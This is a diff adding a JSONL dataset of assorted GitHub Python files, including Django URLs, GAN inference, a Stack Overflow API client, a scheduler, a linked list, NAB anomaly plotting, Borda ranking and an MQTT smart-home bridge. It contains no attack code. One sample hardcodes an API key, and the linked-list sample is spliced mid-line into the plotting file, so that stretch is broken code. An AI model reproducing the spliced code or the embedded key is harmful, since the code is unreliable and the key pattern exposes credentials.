diff --git "a/527.jsonl" "b/527.jsonl" new file mode 100644--- /dev/null +++ "b/527.jsonl" @@ -0,0 +1,1990 @@ +{"seq_id":"35326982925","text":"\"\"\"sous-chef URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\n\nExamples:\n\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\n\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\n\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\n\"\"\"\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\n\n\nfrom page.views import HomeView\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.conf.urls.i18n import i18n_patterns\nfrom django.utils.translation import ugettext_lazy as _\n\nurlpatterns = i18n_patterns(\n url(\n _(r'^admin/'),\n admin.site.urls\n ),\n url(\n _(r'^meal/'),\n include('meal.urls', namespace=\"meal\")\n ),\n url(\n _(r'^member/'),\n include('member.urls', namespace=\"member\")\n ),\n url(\n _(r'^notification/'),\n include('notification.urls', namespace=\"notification\")\n ),\n url(\n _(r'^order/'),\n include('order.urls', namespace=\"order\")\n ),\n url(\n r'^p/',\n include('page.urls', namespace=\"page\")\n ),\n url(r'^$', HomeView.as_view(), name='home'),\n url(\n _(r'^delivery/'),\n include('delivery.urls', namespace=\"delivery\")\n ),\n url(\n _(r'^note/'),\n include('note.urls', namespace=\"note\")\n ),\n url(\n _(r'^billing/'),\n include('billing.urls', namespace=\"billing\")\n ),\n url(\n _(r'^avatar/'),\n include('avatar.urls')\n ),\n prefix_default_language=False\n) + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"savoirfairelinux/sous-chef","sub_path":"src/sous_chef/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"48"} +{"seq_id":"11424823834","text":"import os\nimport io\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.utils.data\nimport torchvision.transforms.functional as VF\nimport PIL\nfrom pathlib import Path\n\n\nfrom torchvision import models\nfrom torchvision import transforms\nfrom fastai.torch_core import requires_grad, children\n\nfrom models import FeatureLoss, Generator\nfrom utils import load_image, paintx\n\ndef model_fn():\n \"\"\"Load the PyTorch model from the `model_dir` directory.\"\"\"\n print(\"Loading model.\")\n\n model_dir = Path(os.path.abspath(os.path.dirname(__file__))) / 'adversarial_models'\n print(\"model dir {}\".format(model_dir))\n # First, load the parameters used to create the model.\n model_info = {}\n model_info_path = model_dir / 'brushstroke_gan_final_adversarial_generator_info.pth'\n with open(model_info_path, 'rb') as f:\n model_info = torch.load(f)\n\n print(\"model_info: {}\".format(model_info))\n\n # Determine the device and construct the model.\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model = Generator(model_info['condition_dim'],\n model_info['fc_dim'],\n model_info['image_size'],\n model_info['channels'],\n model_info['n_extra_layers'])\n\n # Load the stored model parameters.\n\n model_path = model_dir / 'brushstroke_gan_final_adversarial_generator_param.pth'\n with open(model_path, 'rb') as f:\n model.load_state_dict(torch.load(f, map_location=device))\n\n model.to(device).eval()\n\n print(\"Done loading model.\")\n return model\n\ndef input_fn(image_bytes):\n input_data = PIL.Image.open(io.BytesIO(image_bytes))\n return input_data\n\n\ndef predict_fn(input_data, model, epochs):\n print('reading data. test')\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n print('device :{}'.format(device))\n \n print('printing data')\n print(input_data)\n \n\n\n print('input_data size: {}'.format(input_data.size))\n \n # load image and transform\n size = 64\n base_image = load_image(input_data, size=400)\n base_image = transforms.CenterCrop(256)(base_image).resize((size,size))\n print('base_image size: {}'.format(base_image.size))\n \n # move image to gpu if available\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n base_image = VF.to_tensor(base_image).to(device)\n print('base_image shape after move to device: {}'.format(base_image.shape))\n \n # parameters\n condition_dim = 12\n num_strokes = 64\n lr = 0.01\n \n # conditions to optimize w/ RMSprop\n conditions = torch.empty((num_strokes, condition_dim)).uniform_(0, 1).to(device).requires_grad_()\n print(f'conditions.shape: {conditions.shape}')\n optimizer = optim.RMSprop([conditions], lr=lr)\n \n \n # load feature extractor\n\n\n base_loss = F.mse_loss\n \n \n \n \n # training\n train_epoch = epochs\n losses = []\n channels = 3\n \n model.eval()\n \n for epoch in range(train_epoch):\n def closure():\n conditions.data.clamp_(0,1)\n\n optimizer.zero_grad()\n\n num_strokes, condition_dim = conditions.shape\n\n strokes = model(conditions.view(num_strokes, condition_dim))\n\n canvas = paintx(strokes)\n\n the_loss = base_loss(canvas, base_image.view(1, *base_image.shape))\n\n the_loss.backward()\n\n losses.append(the_loss.item())\n\n if epoch % 1 == 0:\n print('epoch {}/{}; loss: {}'.format(epoch, train_epoch, torch.mean(torch.tensor(losses)).item()))\n\n\n return the_loss.item()\n\n optimizer.step(closure)\n \n conditions.data.clamp_(0, 1)\n num_strokes, condition_dim = conditions.shape\n strokes = model(conditions.view(num_strokes, condition_dim))\n\n print('--final--')\n base_image = base_image.to('cpu')\n base_image = VF.to_pil_image(base_image)\n img = paintx(strokes).squeeze().cpu()\n img = VF.to_pil_image(img)\n print(img)\n print('img size {}'.format(img.size))\n\n return img, base_image, conditions\n","repo_name":"IshmaelObeso/Brustroke-GAN","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73720451027","text":"import requests\r\nimport datetime\r\n\r\n# Specify your API key and other parameters\r\napi_key = '1BxuT8kRkzP)G4lwrNBWLw(('\r\nsite = 'stackoverflow'\r\npage_size = 10 # Number of results to retrieve\r\n\r\n# Calculate the Unix timestamps for the current month\r\ncurrent_month = datetime.datetime.now().replace(day=1, hour=0, minute=0, second=0, microsecond=0)\r\nfrom_date = int(current_month.timestamp())\r\nto_date = int(datetime.datetime.now().timestamp())\r\n\r\n# Construct the API request URL\r\nurl = f'https://api.stackexchange.com/2.3/questions?site={site}&fromdate={from_date}&todate={to_date}&order=desc&sort=votes&pagesize={page_size}'\r\n\r\n# Add the API key as a header\r\nheaders = {'Accept-Encoding': 'gzip', 'User-Agent': 'My Stack Overflow API Client'}\r\nparams = {'key': api_key}\r\n\r\n# Send the API request and fetch the data\r\nresponse = requests.get(url, headers=headers, params=params)\r\ndata = response.json()\r\n\r\n# Extract the trending tags from the response\r\ntrending_tags = [item['tags'] for item in data['items']]\r\n\r\n# Print the trending tags\r\nprint('Top Trending Tags:')\r\nfor tags in trending_tags:\r\n print(', '.join(tags))\r\n","repo_name":"arunprasad-k/packt","sub_path":"packt.py","file_name":"packt.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4030651516","text":"# import sys\n# sys.stdin = open(\"rr.txt\", 'r')\n\nprocess=[]\nn=int(input(\"Enter no of process: \"))\nq=int(input(\"Enter time quantum: \"))\n\nfor i in range(n):\n\tprocess.append([])\n\tprocess[i].append(int(input(\"Enter pid: \")))\n\tprocess[i].append(int(input(\"Enter arrival time: \")))\n\tprocess[i].append(int(input(\"Enter burst time: \")))\n\tprocess[i].append(process[i][2])\n\tprint()\nprint()\n\nprocess.sort(key = lambda process:process[1])\n\nfor i in range(n):\n process[i].append(i)\n\nt=0\nct = [0]*n\ncompleted = 0\ntim = 0\n\nwhile(completed < n):\n for p in process:\n if p[1] > tim or p[3] == 0:\n continue\n else:\n index = p[4]\n if p[3] > q:\n process[index][3] -= q\n tim += q\n else:\n tim += p[3]\n process[index][3] -= p[3]\n completed += 1\n ct[index] = tim \n\nwt = []\ntat = []\nawt = 0\natat = 0\nfor i in range(n):\n tat.append(ct[i]-process[i][1])\n wt.append(tat[i]-process[i][2])\n atat += tat[i]\n awt += wt[i]\n\nprint('PID\\tAT\\tBT\\tCT\\tTAT\\tWT')\nfor i in range(n):\n\tprint(process[i][0],'\\t',process[i][1],'\\t',process[i][2],'\\t', ct[i], '\\t', tat[i], '\\t', wt[i])\nprint(\"Average Waiting Time : \", awt/n)\nprint(\"Average Turn Around Time : \", atat/n)","repo_name":"sidhantunnithan/cusat-cse-degree","sub_path":"S6/Operating-Systems-Lab/cycle1/rr.py","file_name":"rr.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11267994213","text":"import os\n\ndef read_only_properties(*attrs):\n \"\"\"\n Make attributes of a class readonly.\n \"\"\"\n\n def class_rebuilder(cls):\n \"\"\"\n The class decorator example\n \"\"\"\n\n class NewClass(cls):\n \"\"\"\n This is the overwritten class\n \"\"\"\n def __setattr__(self, name, value):\n\n if name not in attrs:\n pass\n elif name not in self.__dict__:\n pass\n else:\n raise AttributeError(\"Can't touch {}\".format(name))\n\n super().__setattr__(name, value)\n return NewClass\n\n return class_rebuilder\n\n\n@read_only_properties(\n \"LOG_FILE\",\n \"BASE_URL\",\n \"BASE_URL_REGRESSION\",\n \"DEV_ENV\",\n \"PROD_ENV\",\n \"TEST_ENV\",\n \"GLOBAL_ERROR_MESSAGE\",\n \"ROOT_DIR\",\n \"DATASETS_DIR\",\n \"IMAGES_DIR\",\n \"APP_CONFIG\",\n \"DATASET_PROP\",\n \"REGRESSOR\",\n \"JUPYTER\",\n \"RND_STATE\"\n)\nclass Constants:\n \"\"\"\n All global constant parameters \n \"\"\"\n\n def __init__(self):\n \"\"\"\n Constructor\n \"\"\"\n # default log file\n self.LOG_FILE = \"app.log\"\n\n # base url for endpoints\n self.BASE_URL = \"/rigid-robotics/regression-api/\"\n self.BASE_URL_DATASET = self.BASE_URL + \"/dataset\"\n self.BASE_URL_REGRESSION = self.BASE_URL + \"/regressor\"\n\n # environments\n self.DEV_ENV = \"DEV\"\n self.PROD_ENV = \"PROD\"\n self.TEST_ENV = \"TEST\"\n\n # general error message\n self.GLOBAL_ERROR_MESSAGE = \"Execution error!\"\n\n # config files and important folders\n self.ROOT_DIR = os.path.dirname(os.path.realpath(__file__))\n self.DATASETS_DIR = self.ROOT_DIR + \"/app/dataset/store/\"\n self.JUPYTER_DIR = self.ROOT_DIR + \"/app/jupyter/\" \n self.IMAGES_DIR = self.JUPYTER_DIR + \"/images/\"\n self.APP_CONFIG = self.ROOT_DIR + \"/app/conf/config.yaml\"\n\n # scikit-learn dataset generation params\n self.DATASET_PROP = {\n \"n_samples\": 100,\n \"n_features\": 2,\n \"n_informative\": 2,\n \"n_targets\": 1,\n \"shuffle\": True,\n \"noise\": 0.0,\n \"rnd_state\": 111\n }\n\n # regression model config\n self.REGRESSOR = \"LinearRegression\"\n\n # jupyter notebook run\n self.JUPYTER = True\n\n # random state\n self.RND_STATE = 123\n","repo_name":"remirab/regression-api","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21335208919","text":"#Linklist class to perform operation\r\n#node class having link and data\r\nclass Node(object):\r\n def __init__(self, value):\r\n self.info = value\r\n self.link = None\r\n\r\nclass SingleLinkList(object):\r\n def __init__(self):\r\n self.start = None\r\n #display function\r\n def display_list(self):\r\n if self.start is None:\r\n print(\"List is Empty\")\r\n else:\r\n p = self.start\r\n while p is not None:\r\n print(p.info, \" \", end=\" \")\r\n p = p.link\r\n\r\n def insert_inorder(self, value):\r\n temp = Node(value)\r\n if self.start is None or self.start.info>=value:\r\n temp.link=self.start\r\n self.start=temp\r\n return\r\n p=self.start\r\n while p.link is not None and p.info<=value:\r\n p=p.link\r\n temp.link=p.link\r\n p.link=temp\r\n\r\n def search(self, value):\r\n if self.start.info == value:\r\n print(\"Your value found at 1\")\r\n return\r\n p=self.start\r\n i=1\r\n while p is not None and p.info= start) &\n (data[\"timestamp\"] <= end))\n return Scatter(x=data[\"timestamp\"][mask],\n y=data[\"value\"][mask],\n name=\"value\",\n line=dict(\n width=1.5\n ),\n showlegend=False)\n\n\n @staticmethod\n def _addScores(data, value, title, start=None, end=None):\n \"\"\"return data values trace.\"\"\"\n if start is None:\n start = data[\"timestamp\"][0]\n if end is None:\n end = data[\"timestamp\"].iloc[-1]\n mask = ((data[\"timestamp\"] >= start) &\n (data[\"timestamp\"] <= end))\n return Scatter(x=data[\"timestamp\"][mask],\n y=data[value][mask],\n name=title,\n showlegend=False)\n\n\n @staticmethod\n def _addLabels(data, labels, target=\"value\", start=None, end=None):\n \"\"\"return plotly trace for anomaly labels.\"\"\"\n if start is None:\n start = data[\"timestamp\"][0]\n if end is None:\n end = data[\"timestamp\"].iloc[-1]\n\n x = []\n y = []\n for label in labels:\n row = data[data.timestamp == label]\n if ((row[\"timestamp\"] >= start).values[0] and\n (row[\"timestamp\"] <= end).values[0]):\n x.append(row[\"timestamp\"])\n y.append(row[target])\n\n if x:\n x = pd.concat(x)\n y = pd.concat(y)\n\n return Scatter(x=x,\n y=y,\n mode=\"markers\",\n name=\"Ground Truth Anomaly\",\n text=[\"Anomalous Instance\"],\n marker=dict(\n color=\"rgb(200, 20, 20)\",\n size=10,\n symbol=MARKERS[0]\n ))\n\n\n def _addWindows(self, start=None, end=None):\n \"\"\"Return plotly trace for anomaly windows.\"\"\"\n if start is None:\n start = self.rawData[\"timestamp\"][0]\n if end is None:\n end = self.rawData[\"timestamp\"].iloc[-1]\n mask = ((self.rawData[\"timestamp\"] >= start) &\n (self.rawData[\"timestamp\"] <= end))\n\n windows = getJSONData(\n os.path.join(self.labelsDir, \"combined_windows.json\"))[self.dataFile]\n\n x = []\n delta = (pd.to_datetime(self.rawData[\"timestamp\"].iloc[1]) -\n pd.to_datetime(self.rawData[\"timestamp\"].iloc[0]))\n minutes = int(delta.total_seconds() / 60)\n for window in windows:\n windowStart = max(pd.to_datetime(window[0]), pd.to_datetime(start))\n windowEnd = min(pd.to_datetime(window[1]), pd.to_datetime(end))\n x.extend(pd.date_range(windowStart, windowEnd, freq=str(minutes) + \"Min\").tolist())\n\n maxVal = self.rawData.value.max()\n y = [maxVal for _ in x]\n\n return Bar(x=x,\n y=y,\n name=\"Anomaly Window\",\n marker=dict(\n color=\"rgb(220, 100, 100)\"\n ),\n opacity=0.3)\n\n\n def _addProbation(self, start=None, end=None):\n if start is None:\n start = self.rawData[\"timestamp\"][0]\n if end is None:\n end = self.rawData[\"timestamp\"].iloc[-1]\n mask = ((self.rawData[\"timestamp\"] >= start) &\n (self.rawData[\"timestamp\"] <= end))\n\n length = min(int(0.15 * len(self.rawData)), 750)\n x = self.rawData[\"timestamp\"].iloc[:length][mask]\n y = [self.rawData.value.max() for _ in x]\n\n return Bar(x=x,\n y=y,\n name=\"Probationary Period\",\n marker=dict(\n color=\"rgb(0, 0, 200)\"\n ),\n opacity=0.2)\n\n\n @staticmethod\n def _createLayout(title=None, xLabel=\"Date\", yLabel=\"Metric\", fontSize=12,\n width=WIDTH, height=HEIGHT):\n \"\"\"Return plotly Layout object.\"\"\"\n layoutArgs = {\n \"title\": title,\n \"font\": {\"size\": fontSize},\n \"showlegend\": False,\n \"width\": width,\n \"height\": height,\n \"xaxis\": dict(\n title=xLabel,\n ),\n \"yaxis\": dict(\n title=yLabel,\n domain=[0, 1],\n ),\n \"barmode\": \"stack\",\n \"bargap\": 0}\n margins = {\"l\": 70, \"r\": 30, \"b\": 50, \"t\": 90, \"pad\": 4}\n if title is None:\n margins[\"t\"] -= 70\n if fontSize > 12:\n margins[\"l\"] += (fontSize - 12) * 3\n margins[\"b\"] += (fontSize - 12) * 3\n layoutArgs[\"margin\"] = margins\n return Layout(**layoutArgs)\n\n\n def setDataFile(self, filename):\n \"\"\"Set the data file name; i.e. path from self.dataDir.\"\"\"\n self.dataFile = filename\n\n\n def setDataName(self, name):\n \"\"\"Set the name of this data; prints to plot title.\"\"\"\n self.dataName = name\n\n\n def getDataInfo(self):\n \"\"\"Return member variables dataFile, dataName, and dataPath.\"\"\"\n\n return {\"dataFile\": self.dataFile,\n \"dataName\": self.dataName,\n \"dataPath\": self.dataPath}\n\n\n def plotMultipleDetectors(self,\n resultsPaths,\n detectors=[\"numenta\"],\n scoreProfile=\"standard\",\n withLabels=True,\n withWindows=True,\n withProbation=True):\n \"\"\"\n Plot detector results on a data file.\n\n TODO: auto-generate paths from dataFile and detectors.\n \"\"\"\n\n if scoreProfile is (not \"standard\"\n or not \"reward_low_fn_rate\"\n or not \"reward_low_fp_rate\"):\n raise ValueError(\"Invalid scoring profile. Must be one of \\'standard\\' \"\n \"or \\'reward low fn rate\\' or \\'reward low fp rate\\'.\")\n\n if self.rawData is None:\n self.rawData = getCSVData(self.dataPath)\n\n traces = []\n\n traces.append(self._addValues(self.rawData))\n\n # Anomaly detections traces:\n for i,d in enumerate(detectors):\n threshold = self.thresholds[d][scoreProfile][\"threshold\"]\n\n resultsData = getCSVData(os.path.join(self.resultsDir, resultsPaths[i]))\n\n FP, TP = self._parseDetections(resultsData, threshold)\n\n fpTrace, tpTrace = self._addDetections(\n \"Detection by \" + d, MARKERS[i+1], FP, TP)\n\n traces.append(fpTrace)\n traces.append(tpTrace)\n\n if withLabels:\n labels = getJSONData(os.path.join(\n self.labelsDir, \"combined_labels.json\"))[self.dataFile]\n traces.append(self._addLabels(self.rawData, labels, target=\"value\"))\n\n if withWindows:\n traces.append(self._addWindows())\n\n if withProbation:\n traces.append(self._addProbation())\n\n # Create plotly Layout object:\n layout = self._createLayout(\"Anomaly Detections for \" + self.dataName)\n\n # Query plotly\n fig = Figure(data=traces, layout=layout)\n plot_url = self.py.plot(fig)\n print(\"Detections plot URL: \", plot_url)\n\n return plot_url\n\n\n def plot(self,\n value=\"value\",\n fontSize=12,\n start=None,\n end=None,\n xLabel=None,\n yLabel=None,\n width=WIDTH,\n height=HEIGHT,\n withLabels=False,\n withWindows=False,\n withProbation=False,\n plotPath=None):\n \"\"\"Plot the data stream.\"\"\"\n if value == \"value\":\n if yLabel is None:\n yLabel = \"Metric\"\n elif value == \"raw\":\n value = \"raw_score\"\n if yLabel is None:\n yLabel = \"Prediction Error\"\n elif value == \"likelihood\":\n value = \"anomaly_score\"\n if yLabel is None:\n yLabel = \"Anomaly Likelihood\"\n else:\n raise ValueError(\"Unknown value type '%s'\".format(value))\n\n detector = \"numenta\"\n dataDir, dataFile = os.path.split(self.dataPath)\n dataDir = os.path.split(dataDir)[1]\n resultsFile = detector + \"_\" + dataFile\n resultsPath = os.path.join(os.path.dirname(__file__), os.path.pardir, \"results\", detector, dataDir, resultsFile)\n resultsData = getCSVData(resultsPath)\n\n traces = []\n\n traces.append(self._addScores(\n resultsData, value, yLabel, start, end))\n\n if withLabels:\n labels = getJSONData(os.path.join(\n self.labelsDir, \"combined_labels.json\"))[self.dataFile]\n traces.append(self._addLabels(resultsData, labels, target=value, start=start, end=end))\n\n if withWindows:\n traces.append(self._addWindows(start=start, end=end))\n\n if withProbation:\n traces.append(self._addProbation(start=start, end=end))\n\n # Create plotly Layout object:\n layout = self._createLayout(self.dataName, xLabel=xLabel, yLabel=yLabel, fontSize=fontSize, width=width, height=height)\n\n # Query plotly\n fig = Figure(data=traces, layout=layout)\n if plotPath is None:\n # We temporarily switch to a temp directory to avoid overwriting the\n # previous plot when in offline mode.\n cwd = os.getcwd()\n tempBase = os.path.join(cwd, \"plot_\")\n tempDir = tempfile.mkdtemp(prefix=tempBase)\n try:\n os.chdir(tempDir)\n plotPath = self.py.plot(fig)\n print(\"Data plot URL: \", plotPath)\n finally:\n os.chdir(cwd)\n else:\n self.py.image.save_as(fig, plotPath, width=width, height=height, scale=SCALE)\n\n return plotPath\n\n\n def _parseDetections(self, resultsData, threshold):\n \"\"\"Return false positives and true positives.\"\"\"\n windows = getJSONData(\n os.path.join(self.labelsDir, \"combined_windows.json\"))[self.dataFile]\n\n detections = resultsData[resultsData[\"anomaly_score\"] >= threshold]\n\n FP = detections[detections[\"label\"] == 0]\n TP = []\n for window in windows:\n start = pd.to_datetime(window[0])\n end = pd.to_datetime(window[1])\n detection = self.getTPDetection(detections, (start, end))\n if detection:\n TP.append(detection)\n\n return FP, TP\n\n\n @staticmethod\n def getTPDetection(detections, windowTimes):\n \"\"\"Returns the first occurence of a detection w/in the window times.\"\"\"\n for detection in detections.iterrows():\n detectionTime = pd.to_datetime(detection[1][\"timestamp\"])\n if detectionTime > windowTimes[0] and detectionTime < windowTimes[1]:\n return detection\n return None\n\n\n def _addDetections(self, name, symbol, FP, TP):\n \"\"\"Plot markers at anomaly detections; standard is for open shapes.\"\"\"\n symbol = symbol + \"-open\"\n # FPs:\n fpTrace = Scatter(x=FP[\"timestamp\"],\n y=FP[\"value\"],\n mode=\"markers\",\n name=name,\n text=[\"anomalous data\"],\n marker=dict(\n color=\"rgb(200, 20, 20)\",\n size=15.0,\n symbol=symbol,\n line=dict(\n color=\"rgb(200, 20, 20)\",\n width=2\n )\n ))\n # TPs:\n tpTrace = Scatter(x=[tp[1][\"timestamp\"] for tp in TP],\n y=[tp[1][\"value\"] for tp in TP],\n mode=\"markers\",\n name=name,\n text=[\"anomalous data\"],\n marker=dict(\n color=\"rgb(20, 200, 20)\",\n size=15.0,\n symbol=symbol,\n line=dict(\n color=\"rgb(20, 200, 20)\",\n width=2\n )\n ))\n\n return fpTrace, tpTrace\n\n\n\ndef main():\n \"\"\"Command-line script entry point.\n\n Usage:\n nab-plot --title=\"Machine Temperature Sensor Data\" realKnownCause/machine_temperature_system_failure.csv\n \"\"\"\n parser = argparse.ArgumentParser()\n\n # Content\n parser.add_argument(\"--value\", dest=\"value\", default=\"value\",\n choices=(\"value\", \"raw\", \"likelihood\"))\n parser.add_argument(\"--start\", dest=\"start\", default=None)\n parser.add_argument(\"--end\", dest=\"end\", default=None)\n parser.add_argument(\"--labels\", dest=\"labels\", action=\"store_true\")\n parser.add_argument(\"--no-labels\", dest=\"labels\", action=\"store_false\")\n parser.set_defaults(labels=True)\n parser.add_argument(\"--windows\", dest=\"windows\", action=\"store_true\")\n parser.add_argument(\"--probation\", dest=\"probation\", action=\"store_true\")\n\n # Layout\n parser.add_argument(\"--title\", dest=\"title\")\n parser.add_argument(\"--xLabel\", default=\"Date\")\n parser.add_argument(\"--no-xLabel\", dest=\"xLabel\", action=\"store_const\",\n const=None)\n parser.add_argument(\"--yLabel\", dest=\"yLabel\")\n parser.add_argument(\"--fontSize\", dest=\"fontSize\", default=12, type=int, required=False)\n parser.add_argument(\"--width\", dest=\"width\", default=WIDTH, type=int)\n parser.add_argument(\"--height\", default=HEIGHT, type=int)\n\n # Misc.\n parser.add_argument(\"--offline\", dest=\"offline\", action=\"store_true\")\n parser.add_argument(\"--output\", dest=\"output\", default=None)\n\n # Which data set to plot\n parser.add_argument(\"file\")\n args = parser.parse_args()\n if args.offline and args.output is not None:\n print(\"Plots cannot be saved to file in offline mode.\")\n sys.exit(-1)\n path = args.file\n title = args.title\n labels = args.labels\n windows = args.windows\n probation = args.probation\n offline = args.offline\n output = args.output\n\n dataPlotter = PlotNAB(dataFile=path, dataName=title, offline=offline)\n dataPlotter.plot(\n value=args.value,\n fontSize=args.fontSize,\n start=args.start,\n end=args.end,\n xLabel=args.xLabel,\n yLabel=args.yLabel,\n width=args.width,\n height=args.height,\n withLabels=labels,\n withWindows=windows,\n withProbation=probation,\n plotPath=output,\n )\n","repo_name":"numenta/NAB","sub_path":"nab/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":16405,"program_lang":"python","lang":"en","doc_type":"code","stars":1826,"dataset":"github-code","pt":"48"} +{"seq_id":"19798358127","text":"#-------------------------------------------------------------------------------------\n#\n# Program to create a Bords rank aggregated list based on a list of individual ranks\n#\n#-------------------------------------------------------------------------------------\n\nimport csv\nimport pandas\nimport pprint\n\n\nrankings = []\n\n# Getting the data from a csv file.\nwith open('Ranked_list.csv', newline='') as csvfile:\n lists = csv.reader(csvfile, delimiter=',')\n for row in lists:\n if (row[1] != '') and (row[1] != 'Rank of parameters'): # Omits the first line with title.\n row[1].replace(\" \", \" \") # Replace double spacebar for a single one\n ranklist = row[1].split(', ')\n for item in ranklist:\n if item[0]==' ':\n ranklist[ranklist.index(item)] = ranklist[ranklist.index(item)][1:]\n rankings.append(ranklist)\n\n# For testing:\n# rankings = [[\"banana\",\"pera\", \"naranja\"],[\"banana\", \"naranja\", \"pera\"],[\"naranja\", \"banana\"],[\"pera\", \"naranja\", \"manzana\", \"banana\"]]\nmaxpoints = 0\nalternatives = set()\nfor i in rankings:\n for j in i:\n alternatives.add(j) # Add alternative to a set to avoid repetitions.\nrankdict = []\nscores = {}\nmaxpoints = len(alternatives) # max score for an alternative.\n\n# Create a list of dictionaries for the list of rankings\nfor i in rankings:\n dict = {}\n for j in i:\n dict[j] = maxpoints-i.index(j)\n rankdict.append(dict) \n\n# Add the scores for every alternative and add them into a dictionary (scores)\nfor item in alternatives:\n count = 0\n for list in rankdict:\n if item in list:\n count = count+list[item]\n scores[item] = count\n\n# Orders the scores dict into a finalRanking dict\nfinalRanking = {k: v for k, v in sorted(scores.items(),reverse=True, key=lambda item: item[1])}\n\npprint.pprint(finalRanking, sort_dicts=False)\n\n# Saves the dict into a csv file.\nprint(maxpoints)\nprint(len(alternatives))\nwith open('Final Ranking.csv', 'w') as f:\n for key in finalRanking.keys():\n f.write(\"%s,%s\\n\"%(key,finalRanking[key]))\n","repo_name":"Xergius/BordaCount","sub_path":"Borda ranking.py","file_name":"Borda ranking.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12458265350","text":"from django.conf.urls import url\nfrom orcamentos.core.views import home, subscription, welcome, Dashboard, status\n\n\nurlpatterns = [\n url(r'^$', home, name='home'),\n url(r'^inscricao/$', subscription, name='subscription'),\n url(r'^bemvindo/$', welcome, name='welcome'),\n url(r'^dashboard/$', Dashboard.as_view(), name='dashboard'),\n url(r'^status/$', status, name='status'),\n]\n","repo_name":"brunowmoreno/orcamentos","sub_path":"orcamentos/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"44566524986","text":"import json\nimport os\nimport traceback\nimport time\n\nimport paho.mqtt.client as mqtt\nimport requests as requests\n\nfrom utils.listFiles import listFiles\nfrom utils.stringConvert import str_to_bool\nimport config\n\n\nclass Devices:\n devices = []\n devices_mqtt_info = {}\n userId = 'demo_user'\n def __init__(self):\n self.__get_device()\n\n self.__initMqttClient()\n\n\n def __initMqttClient(self):\n self.client = mqtt.Client()\n self.client.on_connect = self.__on_connect\n\n self.client.on_message = self.__mqtt_message\n self.client.username_pw_set(config.Mqtt.username, config.Mqtt.password)\n\n self.client.connect(config.Mqtt.host, config.Mqtt.port, 60)\n\n self.client.loop_start()\n\n def __on_connect(self, client, userdata, flags, rc):\n for device in self.devices:\n for instance, mqttSetting in device['mqtt'].items():\n client.subscribe(mqttSetting[\"listen\"])\n matching_capabilities = []\n for capability in device['capabilities']:\n state_instance = capability.get('state', {}).get('instance')\n parameters_instance = capability.get('parameters', {}).get('instance')\n\n if state_instance == instance or parameters_instance == instance:\n matching_capabilities.append(capability)\n\n self.devices_mqtt_info.setdefault(mqttSetting[\"listen\"], []).append({\n \"id\": device['id'],\n \"capabilities\": matching_capabilities\n })\n\n print(f\"Connected with result code {rc}\")\n\n def __mqtt_message(self, client, userdata, msg):\n url = f'https://dialogs.yandex.net/api/v1/skills/{config.YandexClient.IDDIALOG}/callback/state'\n headers = {\n 'Authorization': f'OAuth {config.YandexClient.TOKEN_USER}',\n 'Content-Type': 'application/json',\n }\n data = {\n \"ts\": time.time(),\n \"payload\": {\n \"user_id\": \"admin\",\n \"devices\": []\n }\n }\n for device in self.devices_mqtt_info[msg.topic]:\n message = msg.payload.decode('utf-8')\n\n\n for capabilites in device['capabilities']:\n if (capabilites['state']['instance'] == 'on'):\n message = str_to_bool(message)\n elif (capabilites['state']['instance'] == \"brightness\"):\n message = int(message)\n elif (capabilites['state']['instance'] == \"temperature\"):\n message = int(message)\n capabilites['state']['value'] = message\n data['payload']['devices'].append(device)\n print(data)\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(response.text, response.status_code)\n\n def getDevices(self):\n return self.devices\n\n def sendMQTTQuery(self, device, instance, new_value):\n print(new_value)\n if instance == 'on':\n new_value = int(new_value)\n\n self.client.publish(device[\"mqtt\"][instance]['set'], new_value)\n\n def actionMethod(self, update_device, logger):\n result = {'id': update_device['id'], 'capabilities': []}\n device = self.__get_device_by_id(update_device['id'])\n for update_capability in update_device['capabilities']:\n type = update_capability['type']\n instance = update_capability['state']['instance']\n for device_capability in device['capabilities']:\n # Если типы способностей совпадают\n if update_capability['type'] == device_capability['type']:\n new_value = update_capability['state']['value']\n print(new_value)\n # Тогда обновляем значение\n device_capability['state']['value'] = new_value\n self.sendMQTTQuery(device, instance, new_value)\n\n try:\n result['capabilities'].append({\n 'type': type,\n 'state': {\n \"instance\": instance,\n \"action_result\": {\n \"status\": 'DONE'\n }\n }\n })\n\n except Exception as ex:\n logger.error(traceback.format_exc())\n result['capabilities'].append({\n 'type': type,\n 'state': {\n \"instance\": instance,\n \"action_result\": {\n \"status\": \"ERROR\",\n \"error_code\": \"INTERNAL_ERROR\",\n 